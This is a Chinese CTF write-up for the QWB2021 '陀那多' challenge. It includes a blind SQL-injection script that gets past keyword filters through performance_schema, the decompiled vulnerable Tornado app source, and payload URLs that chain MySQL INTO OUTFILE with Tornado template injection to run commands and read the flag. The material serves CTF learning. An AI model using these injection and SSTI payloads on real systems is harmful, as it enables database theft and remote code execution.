CTF

[QWB2021 Quals]陀那多

Posted on 2021-06-15,8 min read

开局一个注入。但是过滤了sys。<>= like tables coluns 等关键字。
所以第一步。就必须绕过注入拿到管理员用户名和密码。
这里我用的是performance_schema.file_instances拿到对应的数据库文件路径
例如test数据库,数据库文件路径就是/var/lib/mysql/test/表.frm
这样。我们就能获取到test库下的表名

下一步就要知道表结构。mysql会纪录执行的sql语句到performance_schema.events_statements_summary_by_digest
同理select (DIGEST_TEXT) FROM performance_schema.events_statements_summary_by_digest即可得到表结构

EXP:

import requests
import time
for a in  range(1,300):
    for i in range(130,-1,-1):
        if(i<30):
            exit(0)
        url = "http://f96ea2c5-35a7-444f-8eee-4a086e4797dd.node3.buuoj.cn/register.php?username=' or  if((ascii(substr((select group_concat(qwbqwbqwbuser,0x7e,qwbqwbqwbpass)  FROM qwbtttaaab111e )," + str(a) + ",1)) in (" + str(i) + ")),1,0) or '0&password=12"
        #admin~we111c000me_to_qwb
        #url = "http://eci-2zece4hj2xonmso7ryud.cloudeci1.ichunqiu.com:8888/register.php?username=' or  if((ascii(substr((select (DIGEST_TEXT)  FROM performance_schema.events_statements_summary_by_digest where SCHEMA_NAME in ('qwb') limit 2,1),"+str(a)+",1)) in ("+str(i)+")),1,0) or '0&password=12"
        #INSERT INTO `qwbtttaaab111e` ( `qwbqwbqwbuser` , `qwbqwbqwbpass` ) VALUES (...)
        #url = "http://eci-2zece4hj2xonmso7ryud.cloudeci1.ichunqiu.com:8888/register.php?username=' or  if((ascii(substr((select (file_name)  FROM performance_schema.file_instances limit 150,1),"+str(a)+",1)) in ("+str(i)+")),1,0) or '0&password=12"
        time.sleep(0.5)
        r = requests.get(url)
        if 'this username' in r.text:
            print(chr(i),end='')
            break
        else:
            if('success' in r.text):
                pass
            else:
                print(r.text)

登陆后。会有个抓取图片的接口。这里buu上的环境貌似没这一步(或许魔改了)
会得到一个读文件接口。然后读/proc/self/cmdline、得到python3 /qwb/app/app.py
读app.py和flag不允许。但是python有个pyc文件。网上搜了下https://www.leavesongs.com/PENETRATION/pwnhub-web-classroom-django-sql-injection.html
读到/qwb/app/__pycache__/app.cpython-35.pyc
反编译后得到源码

import tornado.ioloop, tornado.web, tornado.options, pymysql, os, re
settings = {'static_path': os.path.join(os.getcwd(), 'static'),
 'cookie_secret': 'b93a9960-bfc0-11eb-b600-002b677144e0'}
db_username = 'root'
db_password = 'xxxx'

class MainHandler(tornado.web.RequestHandler):

    def get(self):
        user = self.get_secure_cookie('user')
        if user and user == b'admin':
            self.redirect('/admin.php', permanent=True)
            return
        self.render('index.html')


class LoginHandler(tornado.web.RequestHandler):

    def get(self):
        username = self.get_argument('username', '')
        password = self.get_argument('password', '')
        if not username or not password:
            if not self.get_secure_cookie('user'):
                self.finish('<script>alert(`please input your password and username`);history.go(-1);</script>')
                return
            if self.get_secure_cookie('user') == b'admin':
                self.redirect('/admin.php', permanent=True)
            else:
                self.redirect('/', permanent=True)
        else:
            conn = pymysql.connect('localhost', db_username, db_password, 'qwb')
            cursor = conn.cursor()
            cursor.execute('SELECT * from qwbtttaaab111e where qwbqwbqwbuser=%s and qwbqwbqwbpass=%s', [username, password])
            results = cursor.fetchall()
            if len(results) != 0:
                if results[0][1] == 'admin':
                    self.set_secure_cookie('user', 'admin')
                    cursor.close()
                    conn.commit()
                    conn.close()
                    self.redirect('/admin.php', permanent=True)
                    return
                else:
                    cursor.close()
                    conn.commit()
                    conn.close()
                    self.finish('<script>alert(`login success, but only admin can get flag`);history.go(-1);</script>')
                    return
            else:
                cursor.close()
                conn.commit()
                conn.close()
                self.finish('<script>alert(`your username or password is error`);history.go(-1);</script>')
                return


class RegisterHandler(tornado.web.RequestHandler):

    def get(self):
        username = self.get_argument('username', '')
        password = self.get_argument('password', '')
        word_bans = ['table', 'col', 'sys', 'union', 'inno', 'like', 'regexp']
        bans = ['"', '#', '%', '&', ';', '<', '=', '>', '\\', '^', '`', '|', '*', '--', '+']
        for ban in word_bans:
            if re.search(ban, username, re.IGNORECASE):
                self.finish('<script>alert(`error`);history.go(-1);</script>')
                return

        for ban in bans:
            if ban in username:
                self.finish('<script>alert(`error`);history.go(-1);</script>')
                return

        if not username or not password:
            self.render('register.html')
            return
        if username == 'admin':
            self.render('register.html')
            return
        conn = pymysql.connect('localhost', db_username, db_password, 'qwb')
        cursor = conn.cursor()
        try:
            cursor.execute("SELECT qwbqwbqwbuser,qwbqwbqwbpass from qwbtttaaab111e where qwbqwbqwbuser='%s'" % username)
            results = cursor.fetchall()
            if len(results) != 0:
                self.finish('<script>alert(`this username had been used`);history.go(-1);</script>')
                conn.commit()
                conn.close()
                return
        except:
            conn.commit()
            conn.close()
            self.finish('<script>alert(`error`);history.go(-1);</script>')
            return

        try:
            cursor.execute('insert into qwbtttaaab111e (qwbqwbqwbuser, qwbqwbqwbpass) values(%s, %s)', [username, password])
            conn.commit()
            conn.close()
            self.finish("<script>alert(`success`);location.href='/index.php';</script>")
            return
        except:
            conn.rollback()
            conn.close()
            self.finish('<script>alert(`error`);history.go(-1);</script>')
            return


class LogoutHandler(tornado.web.RequestHandler):

    def get(self):
        self.clear_all_cookies()
        self.redirect('/', permanent=True)


class AdminHandler(tornado.web.RequestHandler):

    def get(self):
        user = self.get_secure_cookie('user')
        if not user or user != b'admin':
            self.redirect('/index.php', permanent=True)
            return
        self.render('admin.html')


class ImageHandler(tornado.web.RequestHandler):

    def get(self):
        user = self.get_secure_cookie('user')
        image_name = self.get_argument('qwb_image_name', 'header.jpeg')
        if not image_name:
            self.redirect('/', permanent=True)
            return
        else:
            if not user or user != b'admin':
                self.redirect('/', permanent=True)
                return
            if image_name.endswith('.py') or 'flag' in image_name or '..' in image_name:
                self.finish("nonono, you can't read it.")
                return
            image_name = os.path.join(os.getcwd() + '/image', image_name)
            with open(image_name, 'rb') as (f):
                img = f.read()
            self.set_header('Content-Type', 'image/jpeg')
            self.finish(img)
            return


class SecretHandler(tornado.web.RequestHandler):

    def get(self):
        if len(tornado.web.RequestHandler._template_loaders):
            for i in tornado.web.RequestHandler._template_loaders:
                tornado.web.RequestHandler._template_loaders[i].reset()

        msg = self.get_argument('congratulations', 'oh! you find it')
        bans = []
        for ban in bans:
            if ban in msg:
                self.finish('bad hack,go out!')
                return

        with open('congratulations.html', 'w') as (f):
            f.write('<html><head><title>congratulations</title></head><body><script type="text/javascript">alert("%s");location.href=\'/admin.php\';</script></body></html>\n' % msg)
            f.flush()
        self.render('congratulations.html')
        if tornado.web.RequestHandler._template_loaders:
            for i in tornado.web.RequestHandler._template_loaders:
                tornado.web.RequestHandler._template_loaders[i].reset()


def make_app():
    return tornado.web.Application([
     (
      '/index.php', MainHandler),
     (
      '/login.php', LoginHandler),
     (
      '/logout.php', LogoutHandler),
     (
      '/register.php', RegisterHandler),
     (
      '/admin.php', AdminHandler),
     (
      '/qwbimage.php', ImageHandler),
     (
      '/good_job_my_ctfer.php', SecretHandler),
     (
      '/', MainHandler)], **settings)


if __name__ == '__main__':
    app = make_app()
    app.listen(8000)
    tornado.ioloop.IOLoop.current().start()
    print('start')

可以看到还有一个good_job_my_ctfer.php接受congratulations参数。经过黑名单检测然后render。明显的SSTI。但是tornado框架的SSTI除了护网杯那题。还有网上的{% import os %}{{os.system("")}}
由于这里有黑名单检测,以上方法都不行。然后发现了一些船新的姿势。但还是绕不过黑名单
例如

{% extends /etc/passwd %}
#读文件。或者包含文件
{% set print(1) %}
{% raw print(1) %}
#执行python代码

以上都绕不过去。这题也用不了这么麻烦
这里配合sql注入 into outfile{% import os %}{{os.system("cat /flag")}}到一个目录。然后extends包含模板就行
EXP:

/register.php?username=guoke&password={% set return __import__("os").popen("cat  /qwb_002b677144e0/flag").read()%}
/register.php?username=guoke' into outfile '/var/lib/mysql-files/guoke&password=123
/good_job_my_ctfer.php?congratulations={% extends /var/lib/mysql-files/guoke%}

/var/lib/mysql-files/是因为有个securit-priv限制。只能写到这

下一篇: 津门杯GoOSS 题解→